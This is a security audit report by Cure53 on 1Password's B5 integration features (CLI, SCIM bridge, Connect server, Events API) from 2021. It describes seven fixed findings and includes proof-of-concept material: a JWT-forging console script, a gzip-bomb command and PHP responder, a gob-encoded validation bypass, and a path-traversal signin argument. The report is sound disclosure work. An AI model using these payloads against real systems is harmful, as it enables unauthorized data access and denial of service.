Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report 1Password B5 Web & API 05.2021

Cure53, Dr.-Ing. M. Heiderich, MSc. S. Moritz, Dipl.-Ing. A. Inführ, BSc. B. Walny

Index

Introduction

> *“The information you store in 1Password is encrypted, and only you hold the keys to decrypt it. 1Password is designed to protect you from breaches and other threats, and we work with other security experts to make sure our code is rock solid. We can’t see your 1Password data, so we can’t use it, share it, or sell it.”*
>
> From https://1password.com/security/

This report describes the results of a security assessment that Cure53 carried out against the 1Password scope in late May and early June of 2021. It is important to note that the project fits into the broader security-centered collaboration between the 1Password and Cure53 teams. For this particular assignment, headlined *1PW-14,* Cure53 conducted a penetration test and a dedicated source code audit, focusing on the 1Password B5 Web Application. Therefore, an emphasis during this examination was placed on several selected, updated or newly implemented features.

To give some context, the work was requested by 1Password in March 2021 and then scheduled for later months. The Cure53 testing team punctually completed the

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

assessment in CW22 and CW23, meaning May and June 2021. A total of twenty days were invested to reach the coverage expected for this project and a team of four senior testers had been assigned to this project's preparation, execution and finalization.

The work was structured and split into two work packages (WPs). In WP1, Cure53 examined the 1Password B5 web application frontend, written predominantly in TypeScript, whereas WP2 was said to center on the 1Password B5 web application backend, written predominantly in GoLang**.** Note that the actual scope was actually less driven by the pre-defined and rather generic work packages but rather informed by the features that were deemed as warranting more attention. The key focus areas defined by 1Password for Cure53 to look for during their investigations are listed next.

- **Focus Area 1**: Pentest & Audit against the 1Password CLI for B5 ("op")
- **Focus Area 2**: Pentest & Audit against the Secrets Automation
- **Focus Area 3**: Pentest & Audit against the SCIM bridge
- **Focus Area 4**: Pentest & Audit against Events streaming

The methodology chosen here was white-box, mostly driven by the aim of acquiring optimal coverage and depth. Cure53 was given access to the application in scope rolled out on a dedicated test instance, very detailed documentation about scope and expectations as well as all relevant credentials and sources, as usual for 1Password engagements. It has been paramount that all four test-team members were already well-versed with the 1Password software complex and have participated in similarly scoped audits in the past.

All preparations were done in late May, namely in CW21. This meant Cure53 could have a smooth start and full access to all scope-relevant data before the actual start of the project. Communications during the test were done in a dedicated and shared Slack channel, as is usual for projects between Cure53 and 1Password. All involved personnel could join the channel relevant for this work.

It must be underlined that 1Password's preparatory work was excellent as usual and so were the communications. Not many questions had to be asked, no noteworthy roadblocks were encountered during the test. Therefore, the project could be completed at a good pace and with great efficiency. Cure53 furnished frequent status updates about the test and the related findings. Live-reporting was executed for several of the issues listed in this report.

Moving on to the findings, the Cure53 team managed to get very good coverage over the WP1-2 scope items and spotted seven findings. Three were classified to be security vulnerabilities and four should be seen as be general weaknesses with lower exploitation

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

potential. This is a really good result, especially given the fact that former pentests revealed greater weakness, both in terms of number and severity of the issues spotted. Subsequently, in the current *1PW-14* assignment, none of the spotted findings managed to get past *Medium* impact. To summarize, the impressions gained from this assessment regarding security and privacy of the 1Password B5 complex are pretty good.

In the following sections, the report will first shed light on the scope and key test parameters, as well as the structure and content of the WPs/focus areas. Next, all findings will be discussed in grouped vulnerability and miscellaneous categories, then following a chronological order in the second group Alongside technical descriptions, PoC and mitigation advice are supplied when applicable. Finally, the report will close with broader conclusions about this May-June 2021 project. Cure53 elaborates on the general impressions and reiterates the verdict based on the testing team's observations and collected evidence. Tailored hardening recommendations relevant to the 1Password B5 complex are also incorporated into the final section.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Scope

- **Penetration-Tests & Code Audits against 1Password B5 Web Application**
  - **WP1**: 1Password B5 web application UI and client-side parts with focus on “integration” features for business accounts
    - 1Password B5:
      - https://1pw14example.b5test.com/integrations/
    - 1Password SCIM Bridge:
      - https://1pw14example.op-scim-demo.com/
    - 1Password Connect-Server:
      - http://localhost:8080
    - Related CLI features and attack surface
  - **WP2**: 1Password B5 web backend with focus on “integration” features for business accounts, written predominantly in GoLang
    - Pentest & audit of the 1Password *CLI* for B5 (“op”)
    - Pentest & audit of the *Secrets Automation*
    - Pentest & audit of the *SCIM bridge*
    - Pentest & audit of *Events streaming*
  - **Test-user-accounts were created by Cure53**
  - **Vaults used for testing:**
    - https://1pw14example.b5test.com/home
    - https://1pw142cure53.b5test.com/
  - **Test-supporting material was shared with Cure53**
  - **All relevant sources were shared with Cure53**
  - **Server & CLI binaries for several platforms were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *1PW-14-001*) for the purpose of facilitating any future follow-up correspondence.

1PW-14-002 WP2: DoS on SCIM *bridge* via *Groups* route *(Low)*

During the assessment of the 1Password *SCIM bridge* server, the discovery was made that the server suffers from a Denial-of-Service issue. The implemented SCIM routes are used to receive a SCIM request from an IDP server, which then processes the data to send it to the corresponding B5 API endpoints. It was found that in case a *DELETE* request is sent to the SCIM *Groups* route to de-provision a group on B5, the server is not responding. It turned out that other exposed *Groups*-type routes can also no longer be queried after a request was sent to the affected endpoint.

The issue was reproduced on the deployed SCIM bridge on *1pw14example.op-scim-demo.com*. The routes were accessible again after a server restart. Please note that the protocol *HTTP/2* is used in the PoC below.

PoC request:

```
DELETE /scim/Groups/lcmbrgalcqa3tswdhrffm4zzpi HTTP/2
Host: 1pw14example.op-scim-demo.com
Authorization: Bearer uM0I-yhlwSR51WX7eq0fTTWbCXoJxB5A
```

Steps to reproduce:

1. Add a new *group* to the B5 account.
2. Add the resulting ID to the PoC from above.
3. After the request is sent, *Groups* routes should no longer respond, for instance via *GET.*

After a further look into this issue, it turned out that deleting a protected *group,* such as "*Security*", also leads to a Denial-of-Service, independently of the request being sent via *HTTP/2* or *HTTP/1.1*. An adversary might leverage this weakness to interfere with the transmission of new *groups* sent by the IDP. However, due to the fact that a valid *bearer* token is required and that only *Groups*-routes are affected, the issue was rated as *Low*. It is nevertheless recommended to further investigate the root cause and make sure that the application is able to handle all kinds of requests sent to the server.

***Note**: This issue was fixed, the fix will be included in an upcoming SCIM bridge version.*

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

1PW-14-003 WP2: ACL bypass of *Events* via JWT token manipulation *(Medium)*

The *Events streaming* feature allows admins to create a JWT token which can be used to receive events of the company account via the *events.b5test.com* domain. During the assessment, it was discovered that the JWT structure is not only signed on the client-side, but that the utilized signature key is not linked to the targeted company ID. It is therefore possible to modify and create a valid JWT *bearer* token for any company ID as soon as the ID is known to an attacker.

Steps to reproduce:

1. Log in at https://1pw142cure53.b5test.com (second test-account).
2. Navigate to */integrations/event_reporting/create?type=splunk*
3. Open the browser's developer console and copy&paste the script below.
4. Finish the steps to create an event JWT token.
5. Store the JWT token logged in the developer console.
6. Use the token to access https://events.b5test.com/api/v1/signinattempts.
7. The login attempts of https://1pw14example.b5test.com (first test account) will be shown.

PoC script:

```
crypto.subtle.test = crypto.subtle.sign

function hook(a,b,data){
var string = new TextDecoder().decode(data)

string = string.split(".")
header=string[0]
body=string[1]

test = JSON.parse(atob(body))
// ID of 1pw14example
test["1password.com/auuid"] = "2TZ6MKIEKJHPTEFZ64X2RP5YZU"
test["1password.com/fts"].push("itemusages")

body = btoa(JSON.stringify(test)).replaceAll("+","-").replaceAll("=","")

window.bearer_part = `${header}.${body}`
new_body = new TextEncoder().encode(`${header}.${body}`)

/* lazy way to get correct signature */
setTimeout(function(){
console.log("[+] modified JWT bearer token")
console.log(window.bearer_part+"."+document.querySelector("p[class^=credential-
text--save_credentials_]").innerText.split(".")[2])
},4000)
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
return crypto.subtle.test(a,b,new_body)
}

crypto.subtle.sign = hook
```

It is recommended to attach additional metadata information to the utilized signature key of an JWT token which should contain the associated company ID. This would make it possible to verify if the JWT structure has been manipulated to access data of other companies on the server-side by matching the specified company IDs.

Note: *This issue was fixed by the 1Password team during the testing phase and the fix was verified by Cure53.*

1PW-14-006 WP1: Client-side DoS via missing sign-in URL validation *(Low)*

It was found that the sign-in functionality of the 1Password CLI application is missing an additional step of validation. The current implementation only checks if a given URL is preceded by a subdomain. As a result, sign-in requests are allowed to be sent to servers other than those controlled by 1Password, as shown below in the depicted code fragment.

Affected file:
op-cli/command/signin_helpers.go

Affected code:

```
func checkSigninAddress(u url.OpURL) bool {
	parts := strings.Split(u.Host, ".")
	if len(parts) < 3 {
		return false
	}
	for _, s := range parts {
		if s == "" {
			return false
		}
	}

	return true
}
```

The request shown next was received on an external server and initiated via a *signin* command.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Received *auth* request:

```
GET /api/v2/auth/seba@cure53.de/A3/TLNTPC/jhhcuglrggbg5kbiuoerm3ceau HTTP/1.1
Host: cab7ed038515.ngrok.io
User-Agent: 1Password CLI/1090201 (linux)
Content-Length: 4
X-Agilebits-Client: 1Password CLI/1090201
X-Agilebits-Mac:
X-Agilebits-Session-Id:
Accept-Encoding: gzip, deflate
Connection: close
```

This weakness can be leveraged to send arbitrary data back to the client. In addition, it might be used to leak the *email address*, the ID of the *secret key* and the *device ID* via the shown *GET* request. The latter can be used to acquire the *salt* from the corresponding 1Password server via adding the obtained values to the following authentication request.

Example request to obtain *salt*:

```
POST /api/v3/auth/start HTTP/1.1
Host: 1pw14example.b5test.com
Content-Type: application/json
[...]

{"email":"seba@cure53.de","skFormat":"A3","skid":"TLNTPC","deviceUuid":"jhhcuglr
ggbg5kbiuoerm3ceau"}
```

Response:

```
HTTP/1.1 200 OK
[...]

{"status":"ok","sessionID":"VQYNYGTYNZGRRCG4M7MPG2CGPM","accountKeyFormat":"A3",
"accountKeyUuid":"TLNTPC","userAuth":{"method":"SRPg-4096","alg":"PBES2g-
HS256","iterations":100000,"salt":"-PdlXtNDVE6frL2xWEIR9Q"}}
```

With the obtainable *salt,* computing the *SRPx* key is weakened. However, without the master password and the secret key, an attacker does not have many options here to compute keys of a user successfully. More interesting is the GZIP encoding, which is supported by the Go HTTP client by default. In combination with the weakened URL validation, an attacker-controlled server could respond with a GZIP file which will inflate the memory of the client. This means Denial-of-Service attacks can be performed on the client's machine, for example via providing a 10MB GZIP file which will consume about 100GB of memory.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Command for creating a big GZIP file:

```
dd if=/dev/zero bs=1M count=102400 | gzip -9 > 100G.gz
```

Example PHP PoC file:

```
<?php
header("Content-Encoding: gzip");
echo file_get_contents("100G.gz");
?>
```

Steps to reproduce:

1. Create a GZIP file via the provided command.
2. Upload the file to a server and return it with the header *Content-Encoding: gzip* (see example PHP PoC file above). Additionally, rewrite all incoming *GET* requests to the same script in order to always return the GZIP file.
3. Perform a login via the CLI application:
   `op signin <your URL> <email> <secret key>`
4. Enter a password and press *return*.

As a result, the system memory will be inflated via the Go HTTP client. Please note that the behavior was reproduced on the latest Ubuntu successfully. However, due to the fact that a user needs to enter a malicious URL, which can be done via social engineering or via buying domains that are similar-looking to those run by 1Password, the issue was rated to *Low*.

Nevertheless, in order to protect 1Password clients from signing-in to malicious servers, it is recommended to offer an additional step of validation. Therefore, it is advised to only accept URLs that belong to trusted 1Password domains, such as **.1password.com*. In addition, it is also advised to use the *http.Transport* object for all *http.Client* calls and disable support for compression via the *DisableCompression* property[1]. This ensures that attacker-controlled nodes will no longer have the capacity to cause a memory exhaustion.

***Note**: The issue was addressed and a fix with the appropriate validation patterns will be included in an upcoming version of the CLI.*

[1] https://golang.org/pkg/net/http/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

1PW-14-001 WP1: General HTTP security headers missing *(Medium)*

It was found that the 1Password *SCIM bridge* on *1pw14example.op-scim-demo.com* and the *Connect server* is missing certain HTTP security headers in HTTP responses. This does not directly lead to a security issue, yet it might aid attackers in their efforts to exploit other problems. The following list enumerates the headers that need to be reviewed to prevent headers-related flaws.

- **X-Frame-Options**: This header specifies whether the web page is allowed to be framed. Although this header is known to prevent Clickjacking attacks, there are many other attacks which can be achieved when a web page is frameable. It is recommended to set the value to either **SAMEORIGIN** or **DENY**.
- Note that the CSP framework offers similar protection to *X-Frame-Options* in ways that overcome some of the shortcomings of the aforementioned header. To optimally protect users of older browsers and modern browsers at the same time, it is recommended to consider deploying the *Content-Security-Policy: frame-ancestors 'none';* header as well.
- **X-Content-Type-Options**: This header determines whether the browser should perform MIME Sniffing on the resource. The most common attack abusing the lack of this header is tricking the browser to render a resource as an HTML document, effectively leading to Cross-Site-Scripting (XSS).
- **X-XSS-Protection**: This header specifies if the browser's built-in XSS auditors should be activated (enabled by default). Not only does setting this header prevent Reflected XSS, but also helps to avoid the attacks abusing the issues on the XSS auditor itself with false-positives, e.g. Universal XSS and similar. It is recommended to set the value to either **0** or **1; mode=block**. Note that most modern browsers have stopped supporting XSS filters in general, so this header is only relevant in case older browsers are supported by the web application in scope.
- **Strict-Transport-Security**: Without the HSTS header, a MitM could attempt to perform channel downgrade attacks using readily available tools such as *sslstrip*. In this scenario the attacker would proxy clear-text traffic to the victim-user and establish an SSL connection with the targeted website, stripping all cookie security flags if needed.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Overall, missing security headers is a bad practice that should be avoided. It is recommended to add the aforementioned headers to every server response, including error responses like *4xx* items. More broadly, it is recommended to reiterate the importance of having all HTTP headers set at a specific, shared and central place rather than setting them randomly. This should either be handled by a load balancing server or a similar infrastructure. If the latter is not possible, mitigation can be achieved by using the web server configuration and a matching module.

***Note**: this issue was addressed and a fix will be included in an upcoming version of both the SCIM bridge and the Connect server. In the past, 1Password has recommended customers that require specific security configurations to run these servers behind their own reverse proxy, and will continue to do so. Nonetheless, the 1Password team agrees with Cure53 that it makes sense to have such protections available by default.*

1PW-14-004 WP2: Security of *events* endpoint weakened by gob parsing *(Info)*

The *events* domain, which handles returning sign-in attempts and item usage events, deploys certain restrictions on user-controlled parameters. It was discovered that these restrictions can be bypassed by sending a base64-encoded Golang *gob* structure, which is decoded by the backend because the backend only validates plain JSON structures but not the decoded *gob* structures.

Invalid limit value:

```
curl -k --request POST --url https://events.b5test.com/api/v1/signinattempts --
header 'Authorization: Bearer [...]' --header 'Content-Type: application/json'
--data "{ \"limit\": 1001, \"start_time\": \"2021-02-01T00:00:00-03:00\"}"

{"Error":{"Message":"Bad Request"}}
```

The following code creates a PoC *gob* structure, which shows that it is possible to bypass the restrictions. Namely, it specifies a limit of 1001 and the backend does not reject the request.

***Gob* structure:**

```
type abcd struct {
Limit       int64
StartTime   *time.Time
}


func main() {
var network bytes.Buffer

test := gob.NewEncoder(&network)
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
t, err := time.Parse("2006-01-02T15:04:05.000Z","2021-02-01T00:00:00.000Z")
if err != nil {
fmt.Printf("Error")
}
err = test.Encode(abcd{1001,&t})
[...]
```

Sent *gob* request with invalid limit:

```
curl -k --request POST --url https://events.b5test.com/api/v1/signinattempts --
header 'Authorization: Bearer [...]' --header 'Content-Type: application/json'
--data "{\"cursor\":\"K_-
BAwEBBGFiY2QB_4IAAQIBBUxpbWl0AQQAAQlTdGFydFRpbWUB_4QAAAAK_4MFAQL_hgAAABj_ggH-
B9IBDwEAAAAO16k7gAAAAAD__wA\"}"

{"cursor":"Zv-BAwEBE2VsYXN0aWNzZWFyY2hDdX
[...]
```

Affected file:

cmd/b5streamingapi/publicapi/models/cursorrequest.go

Affected code:

```
type CursorRequest struct {
	*Cursor
	*CursorReset
}

type Cursor struct {
	Cursor string `json:"cursor"`
}

type CursorReset struct {
	Limit     int64      `json:"limit"`
	StartTime *time.Time `json:"start_time"`
	EndTime   *time.Time `json:"end_time"`
}

func (c *CursorRequest) Validate() error {

	[...]
	/* Only CursorReset values are checked */
	if c.CursorReset != nil {
		if c.CursorReset.Limit < 1 || c.CursorReset.Limit > 1000 {
			return fmt.Errorf("CursorRequest: CursorReset.Limit (%d) out
			of bounds", c.CursorReset.Limit)
		}
		if c.CursorReset.StartTime != nil && c.CursorReset.EndTime != nil
			&& c.CursorReset.StartTime.After(*c.CursorReset.EndTime) {
			return fmt.Errorf("CursorRequest: CursorReset.EndTime (%v)
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
                        is after CursorReset.StartTime (%v) out of bounds",
                        c.CursorReset.EndTime, c.CursorReset.StartTime)
                }
        }
```

Additionally it must be noted that decoding a user-controlled *gob* binary structure could lead to a Denial-of-Service attack. Although the Golang is deploying simple sanity checks, the documentation mentions taking additional steps to ensure the security of the application:

> *"The Decoder does only basic sanity checking on decoded input sizes, and its limits are not configurable. Take caution when decoding gob data from untrusted sources."*[2]

Affected file:
cmd/b5streamingapi/publicapi/storage/cursors.go

Affected code:

```
func (c *elasticsearchCursor) decodeFromBase64(cursor string) error {
[...]
buf := bytes.NewBuffer(b)
decoder := gob.NewDecoder(buf)
```

It should be taken into consideration to drop the support of the binary *gob* structure altogether. In case this is not feasible, at least the parameters restriction deployed for the JSON *CursorReset* structure should be enforced for the sent *gob* structure after it has been parsed by the backend.

***Note**: This issue was addressed and a fix has been released in 1Password's Events server containing consistent validations.*

1PW-14-005 WP2: HTTP path traversal in CLI login implementation *(Info)*

During the assessment of the 1Password CLI application, the discovery was made that HTTP paths are created with user-controlled values without any final validation check. It was, therefore, tested if any user value could reach and manipulate the created HTTP path to trigger a client-side path traversal. Despite extensive testing, only one code path was discovered to possibly allow reaching the potential path traversal issue. Other candidates were blocked by validation checks utilized by the code. As the issue discovered is in the CLI *op* binary and cannot be abused to cause any real security problem, the issue was only noted as *Info*.

[2] https://golang.org/pkg/encoding/gob/#Decoder

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Command:

```
./op signin 1pw14example.b5test.com
'alex+charf/%2e%2e/%2e%2e/%2e%2e/%2e%2e/ee@cure53.de'
```

Triggered HTTP request:

```
GET  /api/v2/auth/alex+charf/%2e%2e/%2e%2e/%2e%2e/%2e%2e/ee@cure53.de/A3/JH6ZW3/
ox4rqe2gqfbh63tssmpzrlf3ne HTTP/2
Host: 1pw14example.b5test.com

HTTP/2 301 Moved Permanently
Date: Mon, 07 Jun 2021 10:13:44 GMT
Content-Type: text/html; charset=utf-8
Location: /ee@cure53.de/A3/JH6ZW3/ox4rqe2gqfbh63tssmpzrlf3ne

GET /ee@cure53.de/A3/JH6ZW3/ox4rqe2gqfbh63tssmpzrlf3ne HTTP/2
Host: 1pw14example.b5test.com
[...]
```

Affected file:

https://github.com/asaskevich/govalidator/blob/f21760c49a8d602d863493de796926d2a5c1138d/patterns.go#L7

Affected code:

```
Email             string = "^(((([a-zA-Z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\
^_`{\\|}~]|[\\x{00A0}-\\x{D7FF}\\x{F900}-\\x{FDCF}\\x{FDF0}-\\x{FFEF}])+(\\.([a-
zA-Z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\x{00A0}-\\x{D7FF}\\x{F900}-\\
x{FDCF}\\x{FDF0}-\\x{FFEF}])+)*)|((\\x22)((((\\x20|\\x09)*(\\x0d\\x0a))?(\\
x20|\\x09)+)?(([\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]|\\x21|[\\x23-\\x5b]|[\\
x5d-\\x7e]|[\\x{00A0}-\\x{D7FF}\\x{F900}-\\x{FDCF}\\x{FDF0}-\\x{FFEF}])|(\\([\\
x01-\\x09\\x0b\\x0c\\x0d-\\x7f]|[\\x{00A0}-\\x{D7FF}\\x{F900}-\\x{FDCF}\\
x{FDF0}-\\x{FFEF}])))*(((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(\\
x22)))@((([a-zA-Z]|\\d|[\\x{00A0}-\\x{D7FF}\\x{F900}-\\x{FDCF}\\x{FDF0}-\\
x{FFEF}])|(([a-zA-Z]|\\d|[\\x{00A0}-\\x{D7FF}\\x{F900}-\\x{FDCF}\\x{FDF0}-\\
x{FFEF}])([a-zA-Z]|\\d|-|\\.|_|~|[\\x{00A0}-\\x{D7FF}\\x{F900}-\\x{FDCF}\\
x{FDF0}-\\x{FFEF}])*([a-zA-Z]|\\d|[\\x{00A0}-\\x{D7FF}\\x{F900}-\\x{FDCF}\\
x{FDF0}-\\x{FFEF}]))\\.)+(([a-zA-Z]|[\\x{00A0}-\\x{D7FF}\\x{F900}-\\x{FDCF}\\
x{FDF0}-\\x{FFEF}])|(([a-zA-Z]|[\\x{00A0}-\\x{D7FF}\\x{F900}-\\x{FDCF}\\
x{FDF0}-\\x{FFEF}])([a-zA-Z]|\\d|-|_|~|[\\x{00A0}-\\x{D7FF}\\x{F900}-\\x{FDCF}\\
x{FDF0}-\\x{FFEF}])*([a-zA-Z]|[\\x{00A0}-\\x{D7FF}\\x{F900}-\\x{FDCF}\\
x{FDF0}-\\x{FFEF}]))\\.?$"
```

Affected file:

```
op-f9cc5f8435188fb1385637ffe5b639ec1c3e0d8d/core/b5/api/request/endpoint/
auth_endpoint.go
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Affected code:

```
func LookupAuth(email string, secretKey crypto.SecretKey, userUUID string,
device *model.Device) Endpoint {
      path, _ := url.Parse(fmt.Sprintf("/api/v2/auth/%s/%s/%s/%s", email,
secretKey.Format(), secretKey.UUID(), device.UUID))
      [...]
```

It is recommended to deploy a stricter email validation regular expression to ensure no arbitrary characters can slip past. Additionally, it could be taken into consideration to validate parameters in all files inside the *endpoint* folder for malicious characters like "/../?#&" This could be done in case they are included in a HTTP path. The revised approach would ensure that a user-controlled value cannot modify the targeted HTTP endpoint. It must be noted that the user-controlled value has to be URL decoded before applying any checks, as the Golang HTTP server normalizes URL encoded path values via a HTTP redirect which was abused in the PoC above.

***Note**: This issue was addressed and a fix with improved email validation will be included in an upcoming version of the CLI.*

1PW-14-007 WP1: Cross-Origin-related HTTP security headers missing *(Info)*

It was found that the 1Password platform is missing several of the newer Cross-Origin-infoleak-related HTTP security headers in its responses. This does not directly lead to a security issue, yet it might aid attackers in their efforts to exploit other problems, such as for example issues relating to the Spectre attack. The following list enumerates the headers that need to be reviewed to prevent flaws linked to these headers.

- **Cross-Origin Resource Policy (CORP)** and *Fetch Metadata Request* headers allow developers to control which sites can embed their resources, such as images or scripts. They prevent data from being delivered to an attacker-controlled browser-renderer process, as seen in *resourcepolicy.fyi* and *web.dev/fetch-metadata*.
- **Cross-Origin Opener Policy (COOP)** lets developers ensure that their application window will not receive unexpected interactions from other websites, allowing the browser to isolate it in its own process. This adds an important process-level protection, particularly in browsers which do not enable full Site Isolation; see *web.dev/coop-coep.*
- **Cross-Origin Embedder Policy (COEP)** guarantees that any authenticated resources requested by the application have explicitly opted-in to being loaded. Today, to guarantee process-level isolation for highly sensitive applications in Chrome or Firefox, applications must enable both COEP and COOP; see *web.dev/coop-coep.*

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Overall, missing Cross-Origin security headers can be considered a bad practice that should be avoided in times where attacks such as Spectre are known to be well-exploitable and exploit code is publicly available. It is recommended to add the aforementioned headers to every relevant server response. Resources explaining those headers are available online, explaining both the proper header setup as well as the possible consequences of not setting them after all.

***Note**: Before this report was released, these headers did not yet have broad browser support but the 1Password team is looking to implement these as implementations are picking up speed.*

Conclusions

As indicated in the *Introduction,* the 1Password team can be quite content with the results of this May-June 2021 project. Especially through a longitudinal lens, enabled by the fact that the Cure53 periodically investigates the 1Password B5 web application, it is visible that progress has been made in relation to security. Four members of the Cure53 testing team who have strongly focused on several selected, updated or even newly added and implemented features of the 1Password B5 complex, were only able to spot seven security-relevant items. None of the spotted flaws exceeded the *Medium* rating, further testifying to the acquired strength of the security posture.

In this audit, a next iteration of the 1Password B5 application with a special focus on the newly introduced integration features was examined by Cure53. The areas Cure53 focused in this audit offer clients the possibility to integrate user and password management more easily into their own business processes. Therefore Cure53 examined the *1Password CLI*, the *SCIM bridge*, the *Connect server* of *secrets automation* and the corresponding B5 application parts related to the *integration features*. Attention was given to the *SCIM bridge* component, which acts as a separate server between the 1Password backend and an external IDP. Therefore, the running configuration, the implemented client-side elements and the exposed API endpoints were checked in-depth. Only one issue could be spotted in this area, which allows adversaries to perform Denial-of-Service attacks on *Groups*-routes (see 1PW-14-002).

Due to the fact that the main purpose of the *SCIM bridge* is to de-provision users and groups, a special focus was also placed on checking if the implemented features are strong enough to protect against attacks such as account-takeovers and privilege escalations. For example, the endpoints allow an IDP to change an email of an account, which generally weakens account-security. However, 1Password forces the new user to confirm the new email address with the master password and secret key, which ultimately prevents such types of attacks in general. Moreover, it was checked if a full

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

DoS of the 1Password account could be possible via suspending all users, inclusive of account *Owners*. Luckily, an implemented check protects suspending the last owner of an account, thereby preventing a full lockout.

General access to the endpoints on the *SCIM bridge* is handled via the *bearer* token. This means that any user who has access to the token can typically (de)provision users and groups. Also, if users only have access to Okta, the *bearer* token can be obtained via pointing the health check to one's own server, which has the token embedded in the request header. In the end, it all depends on the awareness of the company to follow the principle of minimalism, i.e. by only providing the token to trusted users. The current design could withstand many different attacks, which is a solid result.

Considerable and in-depth testing was invested into uncovering sensitive information leaks via the corresponding API endpoints provided by the 1Password B5 application. With the focus on typical application problems, the issues connected with various types of injection attacks, which could compromise the server part of the application, were investigated without significant success. The testers did not reveal any grave issues linked to the ACL, despite intensive and dedicated searches for pathways that can be compromised. The Cure53 team noted that endpoints clearly determine user-input and verify whether certain actions are available for the user prior to the final acceptance of such input. As a result, no serious ACL or IDOR problem could be found that might allow attackers to obtain or modify sensitive data related to other user accounts.

Additionally, the API endpoints provided by the *Connect server* for the *Secrets automation* feature were also examined in terms of ACL problems. Cure53 wanted to find out whether they leak any kind of sensitive information or are prone to various types of injection attacks, which might allow attackers to access or modify other users' data or compromise the server. It was confirmed that the API endpoints have proper access control checks in place. Furthermore, a solid input validation was implemented, which clearly underlines the praiseworthy impression made by this area. No serious issue could be spotted in connection to compromising other users' accounts or accessing sensitive data.

One of the priorities set for this 1Password test with a special focus on integration features concerned classic web vulnerabilities, potential logic flaws, and parsing issues. Cure53 investigated the client-side code and the web application's functionality of the related *B5 application parts*, the *SCIM bridge* and the *Connect server* for the presence of XSS attacks and similar input-manipulation issues. Compared to the last audit of the B5 application, in this round no issues of this nature were detected. This results mainly from the correct usage of the React framework that offers a high security standard in this field.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The tested application generally makes a stable impression in terms of client-side injections, which is a very positive indication rarely found during audits of this nature.

The newly introduced *Connect server* for running the *Secrets automation* service and the *SCIM bridge* server are missing some of the important security headers. In order to further harden those applications against client-side related attacks, it is recommended to configure the aforementioned headers with the proposed values (see 1PW-14-001). Even if some headers seem to be not necessary yet, they can mitigate many different attacks in future releases which might be shipped with more features. Cure53 recommends to also consider the use of some of the newer Cross-Origin-related security headers on the 1Password servers. This would help the complex benefit from some advanced protections and harden access from Cross-Origins to 1Password-related resources (see 1PW-14-007).

The 1Password CLI application was examined by Cure53 regarding input validation, output-encoding and the handling of sensitive data on system level. One finding is connected to an incomplete check of the URL parameter used within the sign-in functionality of the 1Password CLI application. In combination with the supported *GZIP* compression in the Golang HTTP client, which is activated by default, an attacker is able to send GZIP bombs back to the client. Those can result in Denial-of-Service attacks on client's systems (see 1PW-14-006). However, the attack is limited regarding exploitability due to the fact that an attacker has to use some social engineering approaches to succeed. Nevertheless, it is recommended to mitigate this type of attack and to introduce a proper input validation in order to protect user's systems against malicious content received from external servers.

All components were tested for potential HTTP path traversal injections. Despite extensive testing only the CLI email validation was discovered to be exploitable to modify the HTTP path as described in 1PW-14-005. Additionally, the storage of local secrets as well as the permission of the local unix socket were assessed. The 1Password CLI correctly sets permissions for utilized files or directories as well as verifies if an existing directory is a symlink or has the correct owner before storing any information.

Moving on to the 1Password *Secret automation* feature. As the *Connect server* has to be installed in local company networks, the security posture of the exposed configuration and endpoints of the server have been examined. The communication between the SDK and the local connect server is conducted via HTTP. This could be further hardened by using some sort of an encrypted transport layer, mitigating against potential local attackers, since eavesdropping on the traffic and obtaining valid service account authentication credentials are remaining risks. The review of the related sources shows

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

that the application is able to communicate via HTTPS. Nevertheless, it is recommended to support customers accordingly with tailored techniques, so that the server is not deployed with HTTP by default.

